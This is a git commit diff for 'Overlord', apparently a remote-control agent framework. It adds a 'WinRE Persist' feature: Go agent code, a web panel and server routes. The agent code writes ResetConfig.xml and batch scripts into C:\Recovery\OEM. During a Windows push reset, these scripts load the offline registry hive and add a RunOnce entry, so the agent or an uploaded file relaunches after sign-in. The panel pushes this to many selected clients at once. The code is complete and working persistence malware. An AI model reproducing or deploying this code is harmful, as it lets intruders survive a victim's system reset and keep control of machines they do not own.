This commit is contained in:
KingKDot
2026-03-29 00:46:18 -05:00
parent 5a40164962
commit 677053546e
13 changed files with 1338 additions and 1 deletions
@@ -1853,6 +1853,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "winre_install":
payload := payloadAsMap(envelope["payload"])
useSelf := false
if v, ok := payload["useSelf"].(bool); ok {
useSelf = v
}
filePath, _ := payload["filePath"].(string)
if err := handleWinREInstall(ctx, env, cmdID, filePath, useSelf); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "winre_uninstall":
if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "uninstall":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
@@ -0,0 +1,19 @@
//go:build !windows
// +build !windows
package handlers
import (
"context"
"fmt"
"overlord-client/cmd/agent/runtime"
)
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
return fmt.Errorf("WinRE persistence is only supported on Windows")
}
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
return fmt.Errorf("WinRE persistence is only supported on Windows")
}
@@ -0,0 +1,303 @@
//go:build windows
// +build windows
package handlers
import (
"context"
"encoding/xml"
"fmt"
"log"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
"overlord-client/cmd/agent/runtime"
)
const (
winreOEMRelPath = `Recovery\OEM`
winreBackupDirName = "XRSBackupData"
winreResetConfigXML = "ResetConfig.xml"
winreDeleteManifest = "DELETEME"
)
func init() {
rand.Seed(time.Now().UnixNano())
}
func randomAlphanumeric(n int) string {
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, n)
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)
}
type resetConfig struct {
XMLName xml.Name `xml:"Reset"`
Runs []runEntry `xml:"Run"`
}
type runEntry struct {
XMLName xml.Name `xml:"Run"`
Phase string `xml:"Phase,attr"`
Path string `xml:"Path"`
Duration int `xml:"Duration"`
Param string `xml:"Param,omitempty"`
}
func systemDrive() string {
sd := os.Getenv("SystemDrive")
if sd == "" {
sd = "C:"
}
return sd
}
func oemPath() string {
return filepath.Join(systemDrive()+`\`, winreOEMRelPath)
}
func backupPath() string {
return filepath.Join(oemPath(), winreBackupDirName)
}
func resetConfigPath() string {
return filepath.Join(oemPath(), winreResetConfigXML)
}
func createOEMEnvironment() error {
oem := oemPath()
if err := os.MkdirAll(oem, 0o755); err != nil {
return fmt.Errorf("failed to create OEM directory: %w", err)
}
bk := backupPath()
if err := os.MkdirAll(bk, 0o755); err != nil {
return fmt.Errorf("failed to create backup directory: %w", err)
}
return nil
}
func createPayload(command string) string {
rndKey := randomAlphanumeric(20)
return fmt.Sprintf(`@echo off
for /F "tokens=1,2,3 delims= " %%%%A in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS') DO SET TARGETOS=%%%%C
for /F "tokens=1 delims=\" %%%%A in ('Echo %%TARGETOS%%') DO SET TARGETOSDRIVE=%%%%A
reg load HKLM\%s %%TARGETOSDRIVE%%\windows\system32\config\SOFTWARE
reg add HKLM\%s\Microsoft\Windows\CurrentVersion\RunOnce /v %s /t REG_SZ /d "%s"
reg unload HKLM\%s
`, rndKey, rndKey, rndKey, command, rndKey)
}
func backupCurrentConfig(basicResetFileName, factoryResetFileName string, additionalFiles []string) error {
bk := backupPath()
lines := []string{basicResetFileName, factoryResetFileName}
lines = append(lines, additionalFiles...)
content := strings.Join(lines, "\n")
if err := os.WriteFile(filepath.Join(bk, winreDeleteManifest), []byte(content), 0o644); err != nil {
return err
}
rcPath := resetConfigPath()
if _, err := os.Stat(rcPath); err == nil {
data, err := os.ReadFile(rcPath)
if err != nil {
return err
}
if err := os.WriteFile(filepath.Join(bk, "configBackup"), data, 0o644); err != nil {
return err
}
}
return nil
}
func saveScriptFile(fileName, payload, additionalCommand string) error {
contents := payload
if additionalCommand != "" {
contents += additionalCommand
}
return os.WriteFile(filepath.Join(oemPath(), fileName), []byte(contents), 0o644)
}
func createNewResetConfig(basicFileName, factoryFileName, payload string) error {
cfg := resetConfig{
Runs: []runEntry{
{Phase: "BasicReset_AfterImageApply", Path: basicFileName, Duration: 1},
{Phase: "FactoryReset_AfterImageApply", Path: factoryFileName, Duration: 1},
},
}
data, err := xml.MarshalIndent(cfg, "", " ")
if err != nil {
return err
}
xmlContent := xml.Header + string(data)
if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil {
return err
}
if err := saveScriptFile(basicFileName, payload, ""); err != nil {
return err
}
return saveScriptFile(factoryFileName, payload, "")
}
func updateExistingResetConfig(basicFileName, factoryFileName, payload string) error {
data, err := os.ReadFile(resetConfigPath())
if err != nil {
return err
}
var cfg resetConfig
if err := xml.Unmarshal(data, &cfg); err != nil {
return err
}
maxDuration := 1
for _, r := range cfg.Runs {
if r.Duration > maxDuration {
maxDuration = r.Duration
}
}
additionalBasic := updatePhase(&cfg, "BasicReset_AfterImageApply", basicFileName)
additionalFactory := updatePhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName)
if additionalBasic == "" {
addNewPhase(&cfg, "BasicReset_AfterImageApply", basicFileName, maxDuration)
}
if additionalFactory == "" {
addNewPhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName, maxDuration)
}
out, err := xml.MarshalIndent(cfg, "", " ")
if err != nil {
return err
}
xmlContent := xml.Header + string(out)
if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil {
return err
}
if err := saveScriptFile(basicFileName, payload, additionalBasic); err != nil {
return err
}
return saveScriptFile(factoryFileName, payload, additionalFactory)
}
func updatePhase(cfg *resetConfig, phaseName, newFileName string) string {
for i, r := range cfg.Runs {
if r.Phase == phaseName {
oldPath := `%TARGETOSDRIVE%\Recovery\OEM\` + r.Path
oldParam := r.Param
cfg.Runs[i].Path = newFileName
cfg.Runs[i].Param = ""
additional := `"` + oldPath + `"`
if oldParam != "" {
additional += " " + oldParam
}
return additional
}
}
return ""
}
func addNewPhase(cfg *resetConfig, phaseName, fileName string, duration int) {
cfg.Runs = append(cfg.Runs, runEntry{
Phase: phaseName,
Path: fileName,
Duration: duration,
})
}
func installWinREPersistence(fileBytes []byte, ext string) error {
if err := createOEMEnvironment(); err != nil {
return err
}
stubName := randomAlphanumeric(20) + ext
stubPath := filepath.Join(oemPath(), stubName)
if err := os.WriteFile(stubPath, fileBytes, 0o644); err != nil {
return fmt.Errorf("failed to write stub file: %w", err)
}
command := `cmd.exe /c start %TARGETOSDRIVE%\Recovery\OEM\` + stubName
payload := createPayload(command)
basicFileName := randomAlphanumeric(20) + ".bat"
factoryFileName := randomAlphanumeric(20) + ".bat"
if err := backupCurrentConfig(basicFileName, factoryFileName, []string{stubName}); err != nil {
log.Printf("winre: backup config warning: %v", err)
}
rcPath := resetConfigPath()
if _, err := os.Stat(rcPath); os.IsNotExist(err) {
return createNewResetConfig(basicFileName, factoryFileName, payload)
}
return updateExistingResetConfig(basicFileName, factoryFileName, payload)
}
func uninstallWinREPersistence() error {
bk := backupPath()
if _, err := os.Stat(bk); os.IsNotExist(err) {
return fmt.Errorf("WinRE persistence not installed")
}
oem := oemPath()
if err := os.RemoveAll(oem); err != nil {
return fmt.Errorf("failed to remove OEM directory: %w", err)
}
return nil
}
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
var fileBytes []byte
var ext string
if useSelf {
exePath, err := os.Executable()
if err != nil {
return fmt.Errorf("failed to get executable path: %w", err)
}
fileBytes, err = os.ReadFile(exePath)
if err != nil {
return fmt.Errorf("failed to read self executable: %w", err)
}
ext = filepath.Ext(exePath)
if ext == "" {
ext = ".exe"
}
} else {
if filePath == "" {
return fmt.Errorf("missing filePath")
}
for i := 0; i < 30; i++ {
if _, err := os.Stat(filePath); err == nil {
break
}
time.Sleep(500 * time.Millisecond)
}
var err error
fileBytes, err = os.ReadFile(filePath)
if err != nil {
return fmt.Errorf("failed to read file: %w", err)
}
ext = filepath.Ext(filePath)
if ext == "" {
ext = ".exe"
}
}
return installWinREPersistence(fileBytes, ext)
}
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
return uninstallWinREPersistence()
}
+5
View File
@@ -810,6 +810,11 @@ menu.addEventListener("click", async (e) => {
closeMenu(clearContext);
return;
}
if (open === "winre") {
window.open(`/winre?clientId=${contextCard}`, "_blank", "noopener");
closeMenu(clearContext);
return;
}
const action = target.dataset.action;
if (open === "voice") {
+1
View File
@@ -31,6 +31,7 @@ const MENU_GROUPS = [
items: [
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
{ label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre" },
],
},
{
+463
View File
@@ -0,0 +1,463 @@
const clientList = document.getElementById("client-list");
const clientSearch = document.getElementById("client-search");
const selectAllBtn = document.getElementById("select-all-btn");
const clearSelectionBtn = document.getElementById("clear-selection-btn");
const selectedCountSpan = document.getElementById("selected-count");
const uploadZone = document.getElementById("upload-zone");
const uploadInput = document.getElementById("upload-input");
const uploadStatus = document.getElementById("upload-status");
const installSelfBtn = document.getElementById("install-self-btn");
const installFileBtn = document.getElementById("install-file-btn");
const uninstallBtn = document.getElementById("uninstall-btn");
const outputContainer = document.getElementById("output-container");
const clearOutputBtn = document.getElementById("clear-output-btn");
const tabSelf = document.getElementById("tab-self");
const tabUpload = document.getElementById("tab-upload");
const panelSelf = document.getElementById("panel-self");
const panelUpload = document.getElementById("panel-upload");
let activeTab = "self";
let allClients = [];
let filteredClients = [];
const selectedClients = new Set();
let uploaded = null;
function switchTab(tab) {
activeTab = tab;
if (tab === "self") {
tabSelf.classList.add("bg-slate-700", "text-slate-100");
tabSelf.classList.remove("text-slate-400");
tabUpload.classList.remove("bg-slate-700", "text-slate-100");
tabUpload.classList.add("text-slate-400");
panelSelf.classList.remove("hidden");
panelUpload.classList.add("hidden");
} else {
tabUpload.classList.add("bg-slate-700", "text-slate-100");
tabUpload.classList.remove("text-slate-400");
tabSelf.classList.remove("bg-slate-700", "text-slate-100");
tabSelf.classList.add("text-slate-400");
panelUpload.classList.remove("hidden");
panelSelf.classList.add("hidden");
}
updateButtonStates();
}
tabSelf.addEventListener("click", () => switchTab("self"));
tabUpload.addEventListener("click", () => switchTab("upload"));
async function checkAuth() {
try {
const res = await fetch("/api/auth/me");
if (!res.ok) {
window.location.href = "/login.html";
return;
}
const data = await res.json();
document.getElementById("username-display").textContent = data.username;
const roleBadge = document.getElementById("role-badge");
const roleBadges = {
admin: '<i class="fa-solid fa-crown mr-1"></i>Admin',
operator: '<i class="fa-solid fa-sliders mr-1"></i>Operator',
viewer: '<i class="fa-solid fa-eye mr-1"></i>Viewer',
};
if (roleBadges[data.role]) {
roleBadge.innerHTML = roleBadges[data.role];
} else {
roleBadge.textContent = data.role || "";
}
if (data.role === "admin") {
roleBadge.classList.add("bg-purple-900/50", "text-purple-300", "border", "border-purple-800");
} else if (data.role === "operator") {
roleBadge.classList.add("bg-blue-900/50", "text-blue-300", "border", "border-blue-800");
} else {
roleBadge.classList.add("bg-slate-700", "text-slate-300", "border", "border-slate-600");
}
if (data.role !== "admin") {
alert("Access denied. Admin role required.");
window.location.href = "/";
}
} catch (err) {
console.error("Auth check failed:", err);
window.location.href = "/login.html";
}
}
async function loadClients() {
try {
const res = await fetch("/api/clients?pageSize=10000");
if (!res.ok) throw new Error("Failed to load clients");
const data = await res.json();
allClients = data.items.filter(
(c) => c.online && (c.os || "").toLowerCase().includes("windows"),
);
if (allClients.length === 0) {
clientList.innerHTML =
'<div class="p-4 text-center text-slate-500">No online Windows clients available</div>';
return;
}
filterAndRenderClients();
preselectClientFromQuery();
} catch (error) {
console.error("Failed to load clients:", error);
clientList.innerHTML =
'<div class="p-4 text-center text-red-400">Error loading clients</div>';
}
}
function preselectClientFromQuery() {
const params = new URLSearchParams(window.location.search);
const targetId = params.get("clientId");
if (!targetId) return;
if (allClients.some((c) => c.id === targetId)) {
selectedClients.add(targetId);
renderClients();
}
}
function filterAndRenderClients() {
const searchTerm = clientSearch.value.toLowerCase();
filteredClients = allClients.filter((c) => {
return (
!searchTerm ||
(c.host && c.host.toLowerCase().includes(searchTerm)) ||
c.id.toLowerCase().includes(searchTerm) ||
(c.user && c.user.toLowerCase().includes(searchTerm))
);
});
renderClients();
}
function renderClients() {
if (filteredClients.length === 0) {
clientList.innerHTML =
'<div class="p-4 text-center text-slate-500">No clients match your filters</div>';
return;
}
clientList.innerHTML = filteredClients
.map((c) => {
const name = c.host || c.id.substring(0, 8);
const os = c.os || "unknown";
const isSelected = selectedClients.has(c.id);
return `
<label class="flex items-center gap-3 px-4 py-3 hover:bg-slate-800/50 cursor-pointer border-b border-slate-800 last:border-b-0" data-client-id="${escapeHtml(c.id)}">
<input type="checkbox" class="client-checkbox w-4 h-4 rounded border-slate-600 bg-slate-700 checked:bg-cyan-600" data-id="${escapeHtml(c.id)}" ${isSelected ? "checked" : ""}>
<div class="flex-1 min-w-0">
<div class="font-semibold text-slate-100 truncate">${escapeHtml(name)}</div>
<div class="text-sm text-slate-400 flex items-center gap-2">
<span>${escapeHtml(os)}</span>
${c.user ? `<span class="text-slate-500">• ${escapeHtml(c.user)}</span>` : ""}
<span class="text-slate-600">• ${c.id.substring(0, 8)}</span>
</div>
</div>
<div class="text-emerald-400 text-sm">
<i class="fa-solid fa-circle text-xs"></i> Online
</div>
</label>
`;
})
.join("");
clientList.querySelectorAll(".client-checkbox").forEach((cb) => {
cb.addEventListener("change", handleClientToggle);
});
updateButtonStates();
}
function handleClientToggle(e) {
const clientId = e.target.dataset.id;
if (e.target.checked) {
selectedClients.add(clientId);
} else {
selectedClients.delete(clientId);
}
updateButtonStates();
}
function updateButtonStates() {
selectedCountSpan.textContent = `${selectedClients.size} selected`;
const hasSelection = selectedClients.size > 0;
installSelfBtn.disabled = !hasSelection || activeTab !== "self";
installFileBtn.disabled = !hasSelection || activeTab !== "upload" || !uploaded;
uninstallBtn.disabled = !hasSelection;
}
function setUploadStatus(text, tone = "text-slate-400") {
uploadStatus.className = `mt-3 text-sm ${tone}`;
uploadStatus.textContent = text;
}
function formatBytes(bytes) {
const value = Number(bytes) || 0;
if (value < 1024) return `${value} B`;
if (value < 1024 * 1024) return `${(value / 1024).toFixed(1)} KB`;
if (value < 1024 * 1024 * 1024) return `${(value / 1024 / 1024).toFixed(2)} MB`;
return `${(value / 1024 / 1024 / 1024).toFixed(2)} GB`;
}
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
return div.innerHTML;
}
clientSearch.addEventListener("input", filterAndRenderClients);
selectAllBtn.addEventListener("click", () => {
filteredClients.forEach((c) => selectedClients.add(c.id));
renderClients();
});
clearSelectionBtn.addEventListener("click", () => {
selectedClients.clear();
renderClients();
});
uploadZone.addEventListener("click", () => uploadInput.click());
uploadZone.addEventListener("dragover", (event) => {
event.preventDefault();
uploadZone.classList.add("border-cyan-500");
});
uploadZone.addEventListener("dragleave", () => {
uploadZone.classList.remove("border-cyan-500");
});
uploadZone.addEventListener("drop", async (event) => {
event.preventDefault();
uploadZone.classList.remove("border-cyan-500");
const file = event.dataTransfer?.files?.[0];
if (file) await uploadFile(file);
});
uploadInput.addEventListener("change", async (event) => {
const file = event.target.files?.[0];
if (file) await uploadFile(file);
});
async function uploadFile(file) {
setUploadStatus(`Uploading ${file.name}...`, "text-blue-400");
installFileBtn.disabled = true;
try {
const form = new FormData();
form.append("file", file, file.name);
const res = await fetch("/api/winre/upload", {
method: "POST",
body: form,
});
if (!res.ok) {
const text = await res.text();
setUploadStatus(text || "Upload failed", "text-red-400");
return;
}
const data = await res.json();
if (!data.ok) {
setUploadStatus(data.error || "Upload failed", "text-red-400");
return;
}
uploaded = data;
const sizeBytes = Number(data.size ?? file.size ?? 0);
setUploadStatus(`Uploaded ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400");
updateButtonStates();
} catch (error) {
console.error("Upload failed:", error);
setUploadStatus("Upload failed", "text-red-400");
}
}
function renderResults(results, actionLabel) {
const namedResults = results.map((r) => {
const client = allClients.find((c) => c.id === r.clientId);
const clientName = client ? client.host || r.clientId.substring(0, 8) : r.clientId.substring(0, 8);
if (r.error) {
return { clientName, clientId: r.clientId, error: r.error };
}
if (r.ok === false) {
return { clientName, clientId: r.clientId, error: r.reason || `${actionLabel} failed` };
}
return { clientName, clientId: r.clientId, output: `${actionLabel} dispatched` };
});
outputContainer.innerHTML = namedResults
.map((r) => {
if (r.error) {
return `<div class="mb-4 pb-4 border-b border-slate-800 last:border-b-0">
<div class="text-cyan-400 font-semibold mb-2">━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━</div>
<div class="text-red-400">Error: ${escapeHtml(r.error)}</div>
</div>`;
}
return `<div class="mb-4 pb-4 border-b border-slate-800 last:border-b-0">
<div class="text-cyan-400 font-semibold mb-2">━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━</div>
<div class="text-emerald-400">${escapeHtml(r.output)}</div>
</div>`;
})
.join("");
}
installSelfBtn.addEventListener("click", async () => {
if (selectedClients.size === 0) {
alert("Please select at least one client");
return;
}
installSelfBtn.disabled = true;
const clientIds = Array.from(selectedClients);
outputContainer.innerHTML = `<div class="text-blue-400">Installing WinRE persistence (self) on ${clientIds.length} client(s)...</div>`;
let results = [];
try {
const res = await fetch("/api/winre/install-self", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ clientIds }),
});
if (!res.ok) {
results = clientIds.map((clientId) => ({
clientId,
error: `HTTP error! status: ${res.status}`,
}));
} else {
const data = await res.json();
if (!data.ok) {
results = clientIds.map((clientId) => ({
clientId,
error: data.error || "Unknown error",
}));
} else {
results = data.results || [];
}
}
} catch (error) {
results = clientIds.map((clientId) => ({
clientId,
error: error.message,
}));
}
renderResults(results, "WinRE Install (self)");
installSelfBtn.disabled = false;
});
installFileBtn.addEventListener("click", async () => {
if (selectedClients.size === 0) {
alert("Please select at least one client");
return;
}
if (!uploaded?.uploadId) {
alert("Please upload a file first");
return;
}
installFileBtn.disabled = true;
const clientIds = Array.from(selectedClients);
outputContainer.innerHTML = `<div class="text-blue-400">Installing WinRE persistence (file) on ${clientIds.length} client(s)...</div>`;
let results = [];
try {
const res = await fetch("/api/winre/install", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
uploadId: uploaded.uploadId,
clientIds,
}),
});
if (!res.ok) {
results = clientIds.map((clientId) => ({
clientId,
error: `HTTP error! status: ${res.status}`,
}));
} else {
const data = await res.json();
if (!data.ok) {
results = clientIds.map((clientId) => ({
clientId,
error: data.error || "Unknown error",
}));
} else {
results = data.results || [];
}
}
} catch (error) {
results = clientIds.map((clientId) => ({
clientId,
error: error.message,
}));
}
renderResults(results, "WinRE Install (file)");
installFileBtn.disabled = false;
});
// Uninstall WinRE persistence
uninstallBtn.addEventListener("click", async () => {
if (selectedClients.size === 0) {
alert("Please select at least one client");
return;
}
if (!confirm("Uninstall WinRE persistence from selected clients?\n\nThis removes the entire Recovery\\OEM directory.")) {
return;
}
uninstallBtn.disabled = true;
const clientIds = Array.from(selectedClients);
outputContainer.innerHTML = `<div class="text-blue-400">Uninstalling WinRE persistence from ${clientIds.length} client(s)...</div>`;
let results = [];
try {
const res = await fetch("/api/winre/uninstall", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ clientIds }),
});
if (!res.ok) {
results = clientIds.map((clientId) => ({
clientId,
error: `HTTP error! status: ${res.status}`,
}));
} else {
const data = await res.json();
if (!data.ok) {
results = clientIds.map((clientId) => ({
clientId,
error: data.error || "Unknown error",
}));
} else {
results = data.results || [];
}
}
} catch (error) {
results = clientIds.map((clientId) => ({
clientId,
error: error.message,
}));
}
renderResults(results, "WinRE Uninstall");
uninstallBtn.disabled = false;
});
clearOutputBtn.addEventListener("click", () => {
outputContainer.innerHTML =
'<div class="text-slate-500">No commands dispatched yet.</div>';
});
checkAuth();
loadClients();
+207
View File
@@ -0,0 +1,207 @@
<!doctype html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>WinRE Persistence - Overlord</title>
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
crossorigin="anonymous"
referrerpolicy="no-referrer"
/>
<link rel="stylesheet" href="/assets/main.css" />
<script src="/assets/toast.js"></script>
<script src="/assets/ripple.js"></script>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="w-full px-4 sm:px-6 lg:px-8 py-8">
<div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
<!-- Client Selector -->
<div class="lg:col-span-3">
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
<div class="flex items-center justify-between mb-4">
<div>
<h2 class="text-xl font-semibold">Select Target Clients</h2>
<p class="text-sm text-slate-400">
Windows clients only &mdash; requires admin privileges on the target
</p>
</div>
<div class="flex items-center gap-2 text-sm text-slate-400">
<span id="selected-count">0 selected</span>
<button
id="clear-selection-btn"
class="px-3 py-1 rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 transition-colors"
>
<i class="fa-solid fa-xmark"></i> Clear
</button>
</div>
</div>
<!-- Search and Filters -->
<div class="flex gap-3 mb-4">
<div class="flex-1 relative">
<i class="fa-solid fa-search absolute left-3 top-1/2 -translate-y-1/2 text-slate-500"></i>
<input
id="client-search"
type="text"
placeholder="Search by hostname, ID, or user..."
class="w-full pl-10 pr-4 py-2 rounded-lg border border-slate-700 bg-slate-800 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-cyan-500"
/>
</div>
<button
id="select-all-btn"
class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 transition-colors whitespace-nowrap"
>
<i class="fa-solid fa-check-double"></i> Select All
</button>
</div>
<!-- Client List -->
<div
id="client-list"
class="max-h-64 overflow-y-auto border border-slate-700 rounded-lg bg-slate-950"
>
<div class="p-4 text-center text-slate-500">Loading clients...</div>
</div>
</div>
</div>
<!-- WinRE Persistence Form -->
<div class="lg:col-span-3">
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
<div class="flex items-center justify-between mb-4">
<div>
<h2 class="text-xl font-semibold">
<i class="fa-solid fa-shield-halved text-amber-400 mr-2"></i>WinRE Persistence
</h2>
<p class="text-sm text-slate-400">
Survive Windows push resets &mdash; the file will start after the user signs in post-reset
</p>
</div>
<div class="flex flex-wrap items-center gap-2">
<button
id="install-self-btn"
class="px-6 py-2 rounded-lg bg-amber-600 hover:bg-amber-700 text-white font-semibold disabled:opacity-50 disabled:cursor-not-allowed flex items-center gap-2"
>
<i class="fa-solid fa-rotate-left"></i> Install (Current Agent)
</button>
<button
id="install-file-btn"
class="px-6 py-2 rounded-lg bg-cyan-600 hover:bg-cyan-700 text-white font-semibold disabled:opacity-50 disabled:cursor-not-allowed flex items-center gap-2"
>
<i class="fa-solid fa-cloud-arrow-up"></i> Install (Upload File)
</button>
<button
id="uninstall-btn"
class="px-6 py-2 rounded-lg bg-red-600 hover:bg-red-700 text-white font-semibold disabled:opacity-50 disabled:cursor-not-allowed flex items-center gap-2"
>
<i class="fa-solid fa-trash-can"></i> Uninstall
</button>
</div>
</div>
<div class="space-y-4">
<!-- Source mode tabs -->
<div class="flex gap-1 p-1 rounded-lg bg-slate-950/60 border border-slate-800 w-fit">
<button id="tab-self" class="px-4 py-1.5 rounded-md text-sm font-medium bg-slate-700 text-slate-100 transition-colors">
<i class="fa-solid fa-robot mr-1"></i> Current Agent EXE
</button>
<button id="tab-upload" class="px-4 py-1.5 rounded-md text-sm font-medium text-slate-400 hover:text-slate-100 transition-colors">
<i class="fa-solid fa-cloud-arrow-up mr-1"></i> Upload File
</button>
</div>
<!-- Self panel -->
<div id="panel-self">
<div class="rounded-lg border border-slate-800 bg-slate-950/60 p-4 text-sm text-slate-300">
<div class="flex items-center gap-3">
<div class="w-10 h-10 rounded-full bg-amber-900/40 flex items-center justify-center text-amber-300">
<i class="fa-solid fa-robot"></i>
</div>
<div>
<div class="font-semibold text-slate-100">Use the currently running agent</div>
<div class="text-xs text-slate-500">
The agent will copy its own executable into the WinRE recovery partition.
After a push reset, it will auto-start when the user signs in.
</div>
</div>
</div>
</div>
</div>
<!-- Upload panel -->
<div id="panel-upload" class="hidden">
<div
id="upload-zone"
class="border-2 border-dashed border-slate-700 rounded-xl p-6 bg-slate-950/60 hover:border-cyan-500 transition-colors cursor-pointer"
>
<div class="flex items-center gap-4">
<div class="w-12 h-12 rounded-full bg-cyan-900/40 flex items-center justify-center text-cyan-300">
<i class="fa-solid fa-cloud-arrow-up"></i>
</div>
<div>
<div class="font-semibold text-slate-100">Drag & drop a file</div>
<div class="text-sm text-slate-400">or click to select a file to persist through reset</div>
</div>
</div>
<input id="upload-input" type="file" class="hidden" />
</div>
<div class="mt-3 text-sm text-slate-400" id="upload-status">
No file uploaded yet.
</div>
</div>
<!-- Info box -->
<div class="rounded-lg border border-amber-800/50 bg-amber-950/30 p-4 text-sm text-slate-300">
<div class="flex items-start gap-3">
<i class="fa-solid fa-triangle-exclamation text-amber-400 mt-0.5"></i>
<div>
<div class="font-semibold text-amber-200 mb-1">Requirements &amp; Notes</div>
<ul class="space-y-1 text-slate-400 list-disc list-inside">
<li>Requires <strong>Administrator privileges</strong> on the target machine</li>
<li>Windows only &mdash; uses the Recovery\OEM ResetConfig mechanism</li>
<li>The file is placed in <code class="text-xs bg-slate-800 px-1 rounded">C:\Recovery\OEM\</code> and a RunOnce registry entry is created during reset</li>
<li>After a push reset (Settings &rarr; Recovery &rarr; Reset this PC), the file will auto-run on first sign-in</li>
<li>Uninstall removes the entire OEM recovery directory</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Output -->
<div class="lg:col-span-3">
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
<div class="flex items-center justify-between mb-4">
<h2 class="text-xl font-semibold">Results</h2>
<button
id="clear-output-btn"
class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 text-sm"
>
<i class="fa-solid fa-trash"></i> Clear
</button>
</div>
<div
id="output-container"
class="min-h-64 max-h-96 overflow-auto px-4 py-3 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 font-mono text-sm whitespace-pre-wrap"
>
<div class="text-slate-500">
No commands dispatched yet.
</div>
</div>
</div>
</div>
</div>
</main>
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/winre.js"></script>
</body>
</html>
+2
View File
@@ -76,6 +76,8 @@ export enum AuditAction {
ENROLLMENT_DENY = "enrollment_deny",
ENROLLMENT_SETTINGS = "enrollment_settings",
ENROLLMENT_BULK = "enrollment_bulk",
WINRE_INSTALL = "winre_install",
WINRE_UNINSTALL = "winre_uninstall",
}
export interface AuditLogEntry {
+16
View File
@@ -21,6 +21,7 @@ import { handleEnrollmentRoutes } from "./server/routes/enrollment-routes";
import { handleBuildRoutes } from "./server/routes/build-routes";
import { handleAssetsRoutes } from "./server/routes/assets-routes";
import { handleDeployRoutes } from "./server/routes/deploy-routes";
import { handleWinRERoutes } from "./server/routes/winre-routes";
import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes";
import { handleClientRoutes } from "./server/routes/client-routes";
import { handleMiscRoutes } from "./server/routes/misc-routes";
@@ -141,6 +142,7 @@ const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim()
const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
const DATA_DIR = ensureDataDir();
const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
const WINRE_ROOT = path.join(DATA_DIR, "winre");
const TLS_CERT_PATH = config.tls.certPath;
const TLS_KEY_PATH = config.tls.keyPath;
@@ -213,6 +215,15 @@ type DeployUpload = {
const deployUploads = new Map<string, DeployUpload>();
type WinREUpload = {
id: string;
path: string;
name: string;
size: number;
};
const winreUploads = new Map<string, WinREUpload>();
type NotificationRateState = {
lastSent: number;
windowStart: number;
@@ -326,6 +337,10 @@ async function startServer() {
detectUploadOs,
normalizeClientOs,
},
winre: {
WINRE_ROOT,
winreUploads,
},
fileDownload: {
DATA_DIR,
secureHeaders,
@@ -508,6 +523,7 @@ async function startServer() {
handleUsersRoutes,
handleBuildRoutes,
handleDeployRoutes,
handleWinRERoutes,
handleFileDownloadRoutes,
handlePluginRoutes,
handleMiscRoutes,
